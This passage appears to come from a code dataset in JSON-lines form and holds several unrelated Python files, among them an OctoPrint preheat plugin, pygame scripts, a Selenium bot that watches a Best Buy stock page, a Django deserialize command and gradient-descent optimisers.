html.Img(src=\"https://images.prismic.io/plotly-marketing-website/b91638ab-80b7-446d-8a83-b6d911bd1519_Plotly_logo.png?auto=compress,format\",\r\n style={'height': '15%','width': '25%'}\r\n ),\r\n ),\r\n \r\n\r\n \r\n ]\r\n,style={'textAlign': 'center'})\r\n\r\n","repo_name":"AveryData/DashAnimalShelter","sub_path":"MyPristineApp/src/pages/home.py","file_name":"home.py","file_ext":"py","file_size_in_byte":5279,"program_lang":"python","lang":"en","doc_type":"code","stars":15,"dataset":"github-code","pt":"68"} +{"seq_id":"29359904486","text":"# coding=utf-8\nfrom __future__ import absolute_import\n\nfrom flask_login import current_user\n\nimport octoprint.filemanager\nimport octoprint.plugin\nfrom octoprint.util.comm import strip_comment\nfrom octoprint.printer import PrinterInterface\n\nimport flask\nimport time\nfrom threading import Thread\n\n__plugin_pythoncompat__ = \">=2.7,<4\"\n\nclass PreheatError(Exception):\n\tdef __init__(self, message):\n\t\tsuper(PreheatError, self).__init__(message)\n\t\tself.message = message\n\nclass PreheatAPIPlugin(\n\toctoprint.plugin.TemplatePlugin,\n\toctoprint.plugin.SimpleApiPlugin,\n\toctoprint.plugin.AssetPlugin,\n\toctoprint.plugin.SettingsPlugin,\n\toctoprint.plugin.EventHandlerPlugin,\n):\n\t\n\tdef get_settings_defaults(self):\n\t\treturn dict(enable_tool = True,\n\t\t\t\t\tenable_bed = True,\n\t\t\t\t\tenable_chamber = True,\n\t\t\t\t\tfallback_tool = 0,\n\t\t\t\t\tfallback_bed = 0,\n\t\t\t\t\tfallback_chamber = 0,\n\t\t\t\t\toffset_tool=0,\t\t\t\t# offsets from plugin\n\t\t\t\t\toffset_bed=0,\n\t\t\t\t\toffset_chamber=0,\n\t\t\t\t\twait_for_bed = False,\n\t\t\t\t\tpreheat_on_file_select = False,\n\t\t\t\t\ton_start_send_gcode = False,\n\t\t\t\t\ton_start_send_gcode_command = \"M117 Preheating... ; Update LCD\",\n\t\t\t\t\ton_complete_show_popup = False,\n\t\t\t\t\ton_conplete_send_gcode = False,\n\t\t\t\t\ton_conplete_send_gcode_command = \"M117 Preheat complete. ; Update LCD\\nM300 S660 P200 ; Beep\",\n\t\t\t\t\tuse_fallback_when_no_file_selected = False,\n\t\t\t\t\tmax_gcode_lines = 1000,\n\t\t\t\t\tuse_m109 = False\n\t\t)\n\n\t\t\t\t\t\n\tdef get_template_configs(self):\n\t\treturn [\n\t\t\tdict(type=\"settings\", custom_bindings = False)\n\t\t]\n\n\t\n\tdef get_assets(self):\n\t\treturn dict(\n\t\t\tjs = [\"js/preheat.js\"],\n\t\t\tcss = [\"css/preheat.css\"]\n\t\t)\n\n\t\t\n\tdef get_api_commands(self):\n\t\treturn dict(\n\t\t\tpreheat = []\n\t\t)\n\n\t\t\n\tdef parse_line(self, line, tool=\"tool0\"):\n\t\tline = strip_comment(line)\n\t\t\n\t\ttemperature = None\n\t\tfor item in line.split(\" \"):\n\t\t\tif item.startswith(\"S\"):\n\t\t\t\ttry:\n\t\t\t\t\tvalue = float(item[1:])\n\t\t\t\t\tif value > 0:\n\t\t\t\t\t\ttemperature = value\n\t\t\t\texcept ValueError:\n\t\t\t\t\tself._logger.warn(\"Error parsing heat command: {}\".format(line))\n\t\t\t\t\tpass\n\t\t\tif item.startswith(\"T\"):\n\t\t\t\tnew_tool = \"tool\" + item[1:].strip()\n\t\t\t\tif PrinterInterface.valid_heater_regex.match(new_tool):\n\t\t\t\t\ttool = new_tool\n\t\t\t\t\n\t\treturn tool, temperature\n\n\n\tdef read_temperatures_from_file(self, path_on_disk):\n\t\tenable_bed = self._settings.get_boolean([\"enable_bed\"])\n\t\tenable_tool = self._settings.get_boolean([\"enable_tool\"])\n\t\tenable_chamber = self._settings.get_boolean([\"enable_chamber\"])\n\n\t\tfile = open(path_on_disk, 'r')\n\t\tline = file.readline()\n\t\tmax_lines = self._settings.get_int([\"max_gcode_lines\"])\n\t\ttemperatures = dict()\n\t\tcurrent_tool = \"tool0\"\n\t\ttry:\n\t\t\twith open(path_on_disk, \"r\") as file:\n\t\t\t\twhile max_lines > 0:\n\t\t\t\t\tline = file.readline()\n\t\t\t\t\tif line == \"\":\n\t\t\t\t\t\tbreak\n\t\t\t\t\tif line.startswith(\"T\"): # Select tool\n\t\t\t\t\t\tnew_tool = \"tool\" + strip_comment(line)[1:].strip()\n\t\t\t\t\t\tif new_tool == \"tool\":\n\t\t\t\t\t\t\tnew_tool = \"tool0\"\n\t\t\t\t\t\tif PrinterInterface.valid_heater_regex.match(new_tool):\n\t\t\t\t\t\t\tcurrent_tool = new_tool\n\t\t\t\t\tif enable_tool and (line.startswith(\"M104\") or line.startswith(\"M109\")): # Set tool temperature\n\t\t\t\t\t\ttool, temperature = self.parse_line(line, current_tool)\n\t\t\t\t\t\tif temperature != None and tool not in temperatures:\n\t\t\t\t\t\t\ttemperatures[tool] = temperature\n\t\t\t\t\tif enable_bed and (line.startswith(\"M190\") or line.startswith(\"M140\")):\t# Set bed temperature\n\t\t\t\t\t\t_, temperature = self.parse_line(line)\n\t\t\t\t\t\tif temperature != None and \"bed\" not in temperatures:\n\t\t\t\t\t\t\ttemperatures[\"bed\"] = temperature\n\t\t\t\t\tif enable_chamber and (line.startswith(\"M191\") or line.startswith(\"M141\")):\t# Set chamber temperature\n\t\t\t\t\t\t_, temperature = self.parse_line(line)\n\t\t\t\t\t\tif temperature != None and \"chamber\" not in temperatures:\n\t\t\t\t\t\t\ttemperatures[\"chamber\"] = temperature\n\t\t\t\t\t\t\n\t\t\t\t\tmax_lines -= 1\n\t\texcept:\n\t\t\tself._logger.exception(\"Something went wrong while trying to read the preheat temperature from {}\".format(path_on_disk))\n\t\t\n\t\treturn temperatures\n\t\n\t\n\tdef get_fallback_temperatures(self):\n\t\tenable_bed = self._settings.get_boolean([\"enable_bed\"])\n\t\tenable_tool = self._settings.get_boolean([\"enable_tool\"])\n\t\tenable_chamber = self._settings.get_boolean([\"enable_chamber\"])\n\t\tfallback_tool = self._settings.get_float([\"fallback_tool\"])\n\t\tfallback_bed = self._settings.get_float([\"fallback_bed\"])\n\t\tfallback_chamber = self._settings.get_float([\"fallback_chamber\"])\n\n\t\tprinter_profile = self._printer._printerProfileManager.get_current_or_default()\n\n\t\tresult = dict()\n\t\t\n\t\tif enable_bed and fallback_bed > 0 and printer_profile[\"heatedBed\"]:\n\t\t\tresult[\"bed\"] = fallback_bed\n\n\t\tif enable_chamber and fallback_chamber > 0 and printer_profile[\"heatedChamber\"]:\n\t\t\tresult[\"chamber\"] = fallback_chamber\n\t\n\t\tif enable_tool and fallback_tool > 0:\n\t\t\textruder_count = printer_profile[\"extruder\"][\"count\"]\n\t\t\tfor i in range(extruder_count):\n\t\t\t\ttool = \"tool\" + str(i)\n\t\t\t\tresult[tool] = fallback_tool\n\t\t\n\t\treturn result\n\n\n\tdef get_temperatures(self, file_name=None):\n\t\tif not self._settings.get_boolean([\"enable_bed\"]) and \\\n\t\tnot self._settings.get_boolean([\"enable_tool\"]) and \\\n\t\tnot self._settings.get_boolean([\"enable_chamber\"]):\n\t\t\traise PreheatError(\"Preheating is disabled in the plugin settings.\")\n\n\t\tif file_name is not None:\n\t\t\tpath_on_disk = octoprint.server.fileManager.path_on_disk(octoprint.filemanager.FileDestinations.LOCAL, file_name)\n\t\t\ttemperatures = self.read_temperatures_from_file(path_on_disk)\n\t\t\ttemperatures = self.apply_offsets_from_plugin(temperatures)\n\t\t\n\t\telif (self._printer.get_current_job()[\"file\"][\"path\"] == None):\n\t\t\tif self._settings.get_boolean([\"use_fallback_when_no_file_selected\"]):\n\t\t\t\ttemperatures = self.get_fallback_temperatures()\n\t\t\telse:\n\t\t\t\traise PreheatError(\"No gcode file loaded.\")\n\t\t\n\t\telif self._printer.get_current_job()[\"file\"][\"origin\"] == octoprint.filemanager.FileDestinations.SDCARD:\n\t\t\ttemperatures = self.get_fallback_temperatures()\n\n\t\t\tif len(temperatures) == 0:\n\t\t\t\traise PreheatError(\"Can't read the temperature from a gcode file stored on the SD card.\")\n\t\t\telse:\n\t\t\t\tself._logger.info(\"Can't read the temperatures from the SD card, using fallback temperatures.\")\n\t\t\n\t\telse:\n\t\t\tfile_name = self._printer.get_current_job()[\"file\"][\"path\"]\n\t\t\tpath_on_disk = octoprint.server.fileManager.path_on_disk(octoprint.filemanager.FileDestinations.LOCAL, file_name)\t\t\n\t\t\ttemperatures = self.read_temperatures_from_file(path_on_disk)\n\t\t\ttemperatures = self.apply_offsets_from_plugin(temperatures)\n\n\t\tif len(temperatures) == 0:\n\t\t\ttemperatures = self.get_fallback_temperatures()\n\t\t\tif len(temperatures) == 0:\n\t\t\t\traise PreheatError(\"Could not find any preheat commands in the gcode file. You can configure fallback temperatures for this case.\")\n\t\t\telse:\n\t\t\t\tself._logger.info(\"Could not find any preheat commands in the gcode file, using fallback temperatures.\")\n\n\t\toffsets = self._printer.get_current_data()[\"offsets\"]\n\t\tfor tool in temperatures:\n\t\t\tif tool in offsets:\n\t\t\t\ttemperatures[tool] += offsets[tool]\n\t\t\n\t\treturn temperatures\n\n\tdef apply_offsets_from_plugin(self, temperatures):\n\t\tfor tool, temperature in temperatures.items():\n\t\t\ttemperatures[tool] = self.apply_offset(tool, temperature)\n\t\treturn temperatures\n\n\tdef apply_offset(self, tool, temperature):\n\t\tif tool.startswith('tool'):\n\t\t\ttool = 'tool'\n\t\ttype_of_offset = 'offset_' + tool\n\t\toffset = self._settings.get_float([type_of_offset]) or 0\n\t\tif offset > 50:\n\t\t\tself._logger.warn(\n\t\t\t\t\"Ignoring preheat temperature offset of {}° as it is above 50°.\".format(tool))\n\t\telse:\n\t\t\ttemperature = max(0, temperature + offset)\n\t\t\tif (offset != 0):\n\t\t\t\tself._logger.info('Applied preheat offset of {}° for {}.'.format(offset, tool))\n\t\t\tif temperature >= 260 and offset >= 10:\n\t\t\t\tself._logger.warn(\n\t\t\t\t\t\"Preheat offset results in very high temperature of {}°\".format(temperature))\n\t\treturn temperature\n\n\tdef check_state(self):\n\t\tif not self._printer.is_operational() or self._printer.is_printing():\n\t\t\traise PreheatError(\"Can't set the temperature because the printer is not ready.\")\n\t\n\n\tdef preheat_and_wait(self, preheat_temperatures):\n\t\tself.preheat_immediately(preheat_temperatures)\n\t\t\n\t\tcurrent_temperatures = self._printer.get_current_temperatures()\n\t\tinitial_targets = {tool: current_temperatures[tool][\"target\"] for tool in preheat_temperatures.keys()}\n\t\tfor tool, temperature in preheat_temperatures.items():\n\t\t\tinitial_targets[tool] = temperature\n\t\t\n\t\ttime_waited = 0\n\t\tTIME_STEP = 0.4\n\n\t\twhile (True):\n\t\t\ttime.sleep(TIME_STEP)\n\t\t\ttime_waited += TIME_STEP\n\n\t\t\tcurrent_temperatures = self._printer.get_current_temperatures()\n\n\t\t\tif time_waited > 10:\n\t\t\t\tfor tool in initial_targets:\n\t\t\t\t\tif current_temperatures[tool][\"target\"] != initial_targets[tool]:\n\t\t\t\t\t\traise PreheatError(\"Preheating cancelled because the temperature was changed manually.\")\n\n\t\t\tif not self._printer.is_operational() or self._printer.is_printing():\n\t\t\t\traise PreheatError(\"Preheating cancelled because the printer state changed.\")\n\n\t\t\tcomplete = [abs(current_temperatures[tool][\"actual\"] - preheat_temperatures[tool]) < 4 for tool in preheat_temperatures]\n\t\t\tif all(complete):\n\t\t\t\treturn\n\n\t\n\tdef notify_preheat_complete(self):\n\t\tself._logger.info(\"Preheating complete.\")\n\t\tif self._settings.get_boolean([\"on_complete_show_popup\"]):\n\t\t\tself._plugin_manager.send_plugin_message(self._identifier, dict(type=\"preheat_complete\"))\n\t\tif self._settings.get_boolean([\"on_conplete_send_gcode\"]):\n\t\t\tcommand = self._settings.get([\"on_conplete_send_gcode_command\"])\n\t\t\tself._printer.commands(command.split(\"\\n\"))\n\t\n\n\tdef is_notify_on_complete_enabled(self):\n\t\treturn self._settings.get_boolean([\"on_complete_show_popup\"]) \\\n\t\t\tor self._settings.get_boolean([\"on_conplete_send_gcode\"])\n\n\tdef preheat_thread(self, preheat_temperatures):\n\t\ttry:\n\t\t\tshoud_wait_for_bed = self._settings.get_boolean([\"wait_for_bed\"]) and \"bed\" in preheat_temperatures\n\t\t\tshould_wait_for_chamber = self._settings.get_boolean([\"wait_for_bed\"]) and self._settings.get_boolean([\"enable_chamber\"]) and \"chamber\" in preheat_temperatures\n\t\t\tif shoud_wait_for_bed or should_wait_for_chamber:\n\t\t\t\titems_to_wait_for = {}\n\t\t\t\tif shoud_wait_for_bed:\n\t\t\t\t\titems_to_wait_for[\"bed\"] = preheat_temperatures[\"bed\"]\n\t\t\t\tif should_wait_for_chamber:\n\t\t\t\t\titems_to_wait_for[\"chamber\"] = preheat_temperatures[\"chamber\"]\n\t\t\t\tself.preheat_and_wait(items_to_wait_for)\n\t\t\t\n\t\t\tif self.is_notify_on_complete_enabled():\n\t\t\t\tself.preheat_and_wait(preheat_temperatures)\n\t\t\t\tself.notify_preheat_complete()\n\t\t\telse:\n\t\t\t\tself.preheat_immediately(preheat_temperatures)\n\t\texcept PreheatError as error:\n\t\t\tself._logger.warn(\"Preheat error: \" + str(error.message))\n\t\t\tself._plugin_manager.send_plugin_message(self._identifier, dict(type=\"preheat_warning\", message=error.message))\n\n\n\tdef preheat_immediately(self, preheat_temperatures):\n\t\tfor tool, target in preheat_temperatures.items():\n\t\t\tself._logger.info(\"Preheating \" + tool + \" to \" + str(target) + \".\")\n\t\t\t\n\t\t\tself._printer.set_temperature(tool, target)\n\t\t\t\n\t\t\tif self._settings.get_boolean([\"use_m109\"]):\n\t\t\t\tself._logger.info(\"Using M109/M190/M191 commands to set the temperature.\")\n\t\t\t\tif tool.startswith(\"tool\"):\n\t\t\t\t\tcommand = \"M109 S{0:d} T{1:s}\".format(int(target), tool[4:])\n\t\t\t\telif tool == \"bed\":\n\t\t\t\t\tcommand = \"M190 S{0:d}\".format(int(target))\n\t\t\t\telif tool == \"chamber\":\n\t\t\t\t\tcommand = \"M191 S{0:d}\".format(int(target))\n\t\t\t\telse:\n\t\t\t\t\tcontinue\n\t\t\t\tself._printer.commands(command)\n\n\tdef preheat(self, file_name=None):\n\t\tself.check_state()\n\n\t\tif self._settings.get_boolean([\"on_start_send_gcode\"]):\n\t\t\tcommand = self._settings.get([\"on_start_send_gcode_command\"])\n\t\t\tself._printer.commands(command.split(\"\\n\"))\n\n\t\tpreheat_temperatures = self.get_temperatures(file_name)\n\n\t\tuse_thread = self._settings.get_boolean([\"wait_for_bed\"]) or self.is_notify_on_complete_enabled()\n\n\t\tif use_thread:\n\t\t\tthread = Thread(target = self.preheat_thread, args = (preheat_temperatures, ))\n\t\t\tthread.start()\n\t\telse:\n\t\t\tself.preheat_immediately(preheat_temperatures)\n\t\n\tdef on_api_command(self, command, data):\n\t\tif command == \"preheat\":\n\t\t\tif current_user.is_anonymous():\n\t\t\t\treturn \"Insufficient rights\", 403\n\t\t\ttry:\n\t\t\t\tself.preheat()\n\t\t\texcept PreheatError as error:\n\t\t\t\tself._logger.info(\"Preheat error: \" + str(error.message))\n\t\t\t\treturn str(error.message), 405\n\n\tdef cooldown(self):\n\t\tenable_bed = self._settings.get_boolean([\"enable_bed\"])\n\t\tenable_tool = self._settings.get_boolean([\"enable_tool\"])\n\t\tenable_chamber = self._settings.get_boolean([\"enable_chamber\"])\n\n\t\tprinter_profile = self._printer._printerProfileManager.get_current_or_default()\n\n\t\tif enable_bed and printer_profile[\"heatedBed\"]:\n\t\t\tself._printer.set_temperature(\"bed\", 0)\n\n\t\tif enable_chamber and printer_profile[\"heatedChamber\"]:\n\t\t\tself._printer.set_temperature(\"chamber\", 0)\n\n\t\tif enable_tool:\n\t\t\textruder_count = printer_profile[\"extruder\"][\"count\"]\n\t\t\tfor i in range(extruder_count):\n\t\t\t\tself._printer.set_temperature(\"tool{0:d}\".format(i), 0)\n\n\tdef on_event(self, event, payload):\n\t\tself._logger.debug(\"Event received: \" + event)\n\t\tenable_preheat_on_file_select = self._settings.get_boolean([\"preheat_on_file_select\"])\n\n\t\tif enable_preheat_on_file_select and event == \"FileSelected\":\n\t\t\tself.preheat(file_name=payload[\"path\"])\n\t\telif enable_preheat_on_file_select and event == \"FileDeselected\":\n\t\t\tself._logger.info(\"FileDeselected event received, cooling down\")\n\t\t\tself.cooldown()\n\n\tdef get_gcode_script_variables(self, comm, script_type, script_name, *args, **kwargs):\n\t\tif not script_type == \"gcode\":\n\t\t\treturn None\n\n\t\tprefix = None\n\t\tpostfix = None\n\t\ttry:\n\t\t\tvariables = self.get_temperatures()\n\t\texcept PreheatError:\n\t\t\tvariables = {}\n\t\treturn prefix, postfix, variables\n\n\n\tdef get_update_information(self, *args, **kwargs):\n\t\treturn dict(\n\t\t\tpreheat = dict(\n\t\t\t\tdisplayName=self._plugin_name,\n\t\t\t\tdisplayVersion=self._plugin_version,\n\t\t\t\t\n\t\t\t\ttype=\"github_release\",\n\t\t\t\tcurrent=self._plugin_version,\n\t\t\t\tuser=\"marian42\",\n\t\t\t\trepo=\"octoprint-preheat\",\n\t\t\t\t\n\t\t\t\tpip=\"https://github.com/marian42/octoprint-preheat/archive/{target}.zip\"\n\t\t\t)\n\t\t)\n\n\n__plugin_name__ = \"Preheat Button\"\n__plugin_implementation__ = PreheatAPIPlugin()\n\n__plugin_hooks__ = {\n\t\"octoprint.plugin.softwareupdate.check_config\": __plugin_implementation__.get_update_information,\n\t\"octoprint.comm.protocol.scripts\": __plugin_implementation__.get_gcode_script_variables\n}\n","repo_name":"marian42/octoprint-preheat","sub_path":"octoprint_preheat/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":14279,"program_lang":"python","lang":"en","doc_type":"code","stars":36,"dataset":"github-code","pt":"68"} +{"seq_id":"11920080419","text":"import pygame\nimport os\n\nclass Entity(pygame.sprite.Sprite):\n sprites = pygame.sprite.Group()\n\n def __init__(self, x, y, width, height, filename):\n super().__init__()\n self.width = width\n self.height = height\n image_path = os.path.join(\"assets\", \"images\", filename)\n raw_image = pygame.image.load(image_path)\n scaled_image = pygame.transform.scale(raw_image, (width, height))\n self.image = scaled_image\n self.rect = self.image.get_rect()\n self.rect.x = x\n self.rect.y = y","repo_name":"Adrienfdupont/space-invaders-python","sub_path":"src/Entity.py","file_name":"Entity.py","file_ext":"py","file_size_in_byte":547,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"} +{"seq_id":"29269582359","text":"import pygame\r\nimport GUI\r\n\r\nimport ground\r\nimport player\r\n\r\n\r\npygame.init()\r\nGUI.name(\"Insert Name Here\")\r\n\r\nclock = pygame.time.Clock()\r\nFPS = 10\r\n\r\n\r\ndef gameLoop():\r\n gameExit = False\r\n gameOver = False\r\n\r\n back = ground.back(1)\r\n\r\n while not gameExit:\r\n GUI.gameDisplay.fill((0, 0, 0)) \r\n back.draw(GUI.gameDisplay)\r\n\r\n\r\n for event in pygame.event.get():\r\n if event.type == pygame.QUIT:\r\n gameExit = True\r\n\r\n pygame.display.update()\r\n clock.tick(FPS)\r\n\r\n\r\ngameLoop()\r\npygame.quit()\r\nquit()\r\n","repo_name":"Sweptile/Game-Off-2018","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":572,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"} +{"seq_id":"35706526396","text":"import logging\nimport sys\n\nimport info\nfrom selenium import webdriver\nfrom selenium.webdriver.common.by import By\nfrom selenium.webdriver.support import expected_conditions as EC\nfrom selenium.webdriver.support.ui import WebDriverWait\nfrom twilio.rest import Client\n\n# Basic logging setup\n# Change logging level as you wish\n# DEBUG, INFO, WARNING, ERROR\nroot = logging.getLogger()\nroot.setLevel(logging.INFO)\nhandler = logging.StreamHandler(sys.stdout)\nhandler.setLevel(logging.INFO)\nformatter = logging.Formatter('%(asctime)s - %(name)s - %(levelname)s - %(message)s')\nhandler.setFormatter(formatter)\nroot.addHandler(handler) \n\n# Function to send SMS message\ndef sendMessage(contents: str):\n try:\n logging.debug(f'Sending SMS message with contents \"{contents}\".')\n client.messages.create(to = info.twilio_toNumber, from_ = info.twilio_fromNumber, body = contents)\n except:\n logging.warning('Failed to send SMS message.')\n return\n\n# Initialize Twilio Client\nlogging.debug('Initializing Twilio client...')\nclient = Client(info.twilio_accountSID, info.twilio_authToken)\nsendMessage('Successfully initialized qbot client. Bot is running.')\n\n# Initialize Web Driver\nlogging.debug('Initializing webdriver...')\noptions = webdriver.ChromeOptions()\noptions.add_experimental_option(\"excludeSwitches\", [\"enable-logging\"])\ndriver = webdriver.Chrome(options = options, executable_path = info.chromeDriver)\ndriver.get(info.productLink)\n\nisComplete = False\n\nlogging.debug('Starting main event loop.')\nwhile not isComplete:\n # Find if item is in stock (add to cart button)\n try:\n logging.debug('Loading webpage for checks.')\n atcBtn = WebDriverWait(driver, 10).until(\n EC.element_to_be_clickable((By.CSS_SELECTOR, \".add-to-cart-button\"))\n )\n except:\n logging.warning('Add to cart button is not clickable. Refreshing...')\n driver.refresh()\n continue\n\n logging.info('Found add to cart button! Attempting to continue...')\n sendMessage('Item is in stock. Attempting purchase now.')\n\n try:\n # Enter product queue\n atcBtn.click()\n\n isComplete = True\n \n logging.info(\"Queue entry attempt was made.\")\n sendMessage('Attempted to enter queue. Check for confirmation.')\n except:\n driver.get(info.productLink)\n logging.error(\"Error entering queue. Restarting...\")\n sendMessage('Queue entry attempt was made, but failed.')\n continue\n","repo_name":"quiprr/bestbuybot","sub_path":"bot_queue.py","file_name":"bot_queue.py","file_ext":"py","file_size_in_byte":2486,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"68"} +{"seq_id":"43518437163","text":"#!/usr/bin/env python\n# coding=utf-8\n\n\ndef find_nearset_number(numbers=[]):\n index = find_transfer_point(numbers)\n if index == 0:\n return None\n numbers_copy = numbers.copy()\n exchange_head(index, numbers_copy)\n reverse(index, numbers_copy)\n return numbers_copy\n\n\ndef find_transfer_point(numbers=[]):\n for i in range(len(numbers)-1, 0, -1):\n if numbers[i] > numbers[i-1]:\n return 1\n\n return 0\n\ndef exchange_head(index, numbers=[]):\n head = numbers[index-1]\n for i in range(len(numbers)-1, 0, -1):\n if head < numbers[i]:\n numbers[index-1] = numbers[i]\n numbers[i] = head\n break\n return numbers\n\ndef reverse(index, numbers=[]):\n i = index\n j = len(numbers) -1\n while i < j:\n temp = numbers[i]\n numbers[i] = numbers[j]\n numbers[j] = temp\n i += 1\n j -= 1\n return numbers\n\ndef output_numbers(numbers=[]):\n for i in numbers:\n print(i, end='')\n print()\n\n\nmy_numbers = list([1, 2, 3, 4, 5])\nfor k in range(0, 10):\n my_numbers = find_nearset_number(my_numbers)\n output_numbers(my_numbers)\n","repo_name":"DavidHydroneWang/ProgramExercise","sub_path":"Python/Small_Test/09-25-2021/NearestNumber.py","file_name":"NearestNumber.py","file_ext":"py","file_size_in_byte":1143,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"} +{"seq_id":"72366500056","text":"from django.apps import apps as django_apps\nfrom django.core.management.base import BaseCommand\nfrom django_collect_offline_files.transaction import FileArchiver\n\nfrom ...transaction import TransactionDeserializer, TransactionDeserializerError\nfrom ...models import IncomingTransaction\n\n\nclass CustomTransactionDeserializer(TransactionDeserializer):\n\n file_archiver_cls = FileArchiver\n\n def __init__(self, order_by=None, model=None, batch=None, producer=None, **kwargs):\n super().__init__(**kwargs)\n \"\"\" Find how inherit parent properties.\n \"\"\"\n filters = {}\n if model:\n filters.update(tx_name=model)\n if batch:\n filters.update(batch_id=batch)\n if producer:\n filters.update(producer=producer)\n if filters:\n try:\n transactions = IncomingTransaction.objects.filter(**filters).order_by(\n *order_by.split(\",\")\n )\n self.deserialize_transactions(transactions=transactions)\n except TransactionDeserializerError as e:\n raise TransactionDeserializerError(e) from e\n else:\n app_config = django_apps.get_app_config(\"django_collect_offline\")\n obj = self.file_archiver_cls(\n src_path=app_config.pending_folder,\n dst_path=app_config.archive_folder,\n )\n obj.archive(filename=f\"{batch}.json\")\n\n\nclass Command(BaseCommand):\n \"\"\"Usage:\n python manage.py deserialize --batch=9835201711152020\n --model=label_lower --order_by=created,producer\n \"\"\"\n\n help = \"Deserializes transactions manually using \" \"different filter options.\"\n\n def add_arguments(self, parser):\n parser.add_argument(\n \"--model\",\n dest=\"model\",\n default=None,\n help=(\"Specify the model name/tx name.\"),\n )\n\n parser.add_argument(\n \"--batch\", dest=\"batch\", default=None, help=(\"Specify batch.\")\n )\n\n parser.add_argument(\n \"--order_by\",\n dest=\"order_by\",\n default=\"created\",\n help=(\"Specify a field to order by e.g timestamp or created.\"),\n )\n\n parser.add_argument(\n \"--producer\",\n dest=\"producer\",\n default=None,\n help=(\"Specify a producer/client machine. e.g bcpp010\"),\n )\n\n def handle(self, *args, **options):\n CustomTransactionDeserializer(**options)\n","repo_name":"erikvw/django-collect-offline","sub_path":"django_collect_offline/management/commands/deserialize.py","file_name":"deserialize.py","file_ext":"py","file_size_in_byte":2543,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"68"} +{"seq_id":"70265198616","text":"from .base import FirstOrder\nimport torch\n\n\nclass GradientDescent(FirstOrder):\n \"\"\"Gradient descent\n\n Δ{k+1} = - η ∇f(x{k})\n x{k+1} = x{k} + Δ{k+1}\n \"\"\"\n\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n\n def search_direction(self, grad):\n grad = self.precondition_(grad.clone())\n return grad.mul_(-self.lr)\n\n\nclass ConjugateGradientDescent(FirstOrder):\n \"\"\"Conjugate Gradient descent\n\n Δ{k+1} = - ∇f(x{k})\n s{k+1} = β{k+1} s{k+1} + Δ{k+1}\n x{k+1} = x{k} + η s{k+1}\n\n Fletcher-Reeves: β{k+1} = (Δ{k+1}'Δ{k+1}) / (Δ{k}'Δ{k})\n Polak–Ribière: β{k+1} = (Δ{k+1}'(Δ{k+1} - Δ{k})) / (Δ{k}'Δ{k})\n Hestenes-Stiefel: β{k+1} = (Δ{k+1}'(Δ{k+1} - Δ{k})) / (-s{k}'(Δ{k+1} - Δ{k}))\n Dai–Yuan: β{k+1} = (Δ{k+1}'Δ{k+1}) / (-s{k}'(Δ{k+1} - Δ{k}))\n \"\"\"\n\n def __init__(self, *args, **kwargs):\n beta = kwargs.pop('beta', 'pr').lower()\n super().__init__(*args, **kwargs)\n self.delta = 0 # previous search direction\n self.grad = 0 # previous (negative of) gradient\n beta = {'fr': 'fletcher_reeves', 'pr': 'polak_ribiere',\n 'hs': 'hestenes_stiefel', 'dy': 'dai_yuan'}.get(beta, beta)\n self.beta = getattr(self, beta)\n\n def reset_state(self):\n self.delta = 0\n self.grad = 0\n\n def fletcher_reeves(self, grad):\n gg0 = self.grad.flatten().dot(self.grad.flatten())\n gg = grad.flatten().dot(grad.flatten())\n return gg / gg0\n\n def polak_ribiere(self, grad):\n gg0 = self.grad.flatten().dot(self.grad.flatten())\n gg = grad.flatten().dot(grad.flatten() - self.grad.flatten())\n return gg / gg0\n\n def hestenes_stiefel(self, grad):\n diff = grad - self.grad\n gg0 = -self.delta.flatten().dot(diff.flatten())\n gg = grad.flatten().dot(diff.flatten())\n return gg / gg0\n\n def dai_yuan(self, grad):\n diff = grad - self.grad\n gg0 = -self.delta.flatten().dot(diff.flatten())\n gg = grad.flatten().dot(grad.flatten())\n return gg / gg0\n\n def search_direction(self, grad):\n grad = self.precondition_(grad.clone()).neg_()\n if not torch.is_tensor(self.delta):\n self.delta = grad\n else:\n beta = self.beta(grad).clamp_min_(0)\n self.delta.mul_(beta).add_(grad)\n self.grad = grad\n delta = self.delta\n if self.lr != 1:\n delta = self.lr * delta\n return delta\n","repo_name":"balbasty/nitorch","sub_path":"nitorch/tools/registration/optim/gd.py","file_name":"gd.py","file_ext":"py","file_size_in_byte":2535,"program_lang":"python","lang":"en","doc_type":"code","stars":80,"dataset":"github-code","pt":"68"} +{"seq_id":"73318562135","text":"#!/usr/bin/python3\n\nimport atexit\nimport functools\nimport inspect\nimport lzma\nimport multiprocessing\nimport multiprocessing.managers\nimport os\nimport pickle\nimport secrets\nimport signal\nimport socket\nimport subprocess\nimport time\nimport warnings\n\nimport helper.remotely\n\n\n\ncacheCache = {}\n\ndef getCachePath(path=None):\n if (path is None) and (\"BUILD_DIR\" in os.environ):\n path = os.environ[\"BUILD_DIR\"]\n \n if (path is None) or os.path.isdir(path):\n stack = inspect.stack()\n \n for frame in stack:\n if frame.filename != stack[0].filename:\n basename = \"{}.cache.xz\".format(\n os.path.splitext(os.path.basename(frame.filename))[0])\n dirname = (os.path.dirname(frame.filename) if path is None else path)\n path = os.path.join(dirname, basename)\n break\n \n return path\n\nmultiprocessingManager = multiprocessing.managers.SyncManager()\nmultiprocessingManager.start(signal.signal, (signal.SIGINT, signal.SIG_IGN))\n\ndef cacheToFile(func, path=None):\n path = getCachePath(path)\n \n if path in cacheCache:\n cache = cacheCache[path]\n else:\n if os.path.isfile(path):\n print(\"Reading cache file {}...\".format(path))\n with lzma.open(path, \"rb\") as f: cache = pickle.load(f)\n else:\n print(\"Using new cache file {}.\".format(path))\n cache = {}\n \n cache = multiprocessingManager.dict(cache)\n cacheCache[path] = cache\n cache[\"__info__\"] = multiprocessingManager.dict(\n {\"modified\" : False, \"depth\" : 0, \"ignoreDepth\" : 0})\n \n funcName = func.__name__\n if funcName not in cache: cache[funcName] = {}\n funcCache = cache[funcName]\n if isinstance(funcCache, dict):\n funcCache = multiprocessingManager.dict(funcCache)\n cache[funcName] = funcCache\n funcSignature = inspect.signature(func)\n \n @functools.wraps(func)\n def cacheLookup(*args, **kwargs):\n boundArgs = funcSignature.bind(*args, 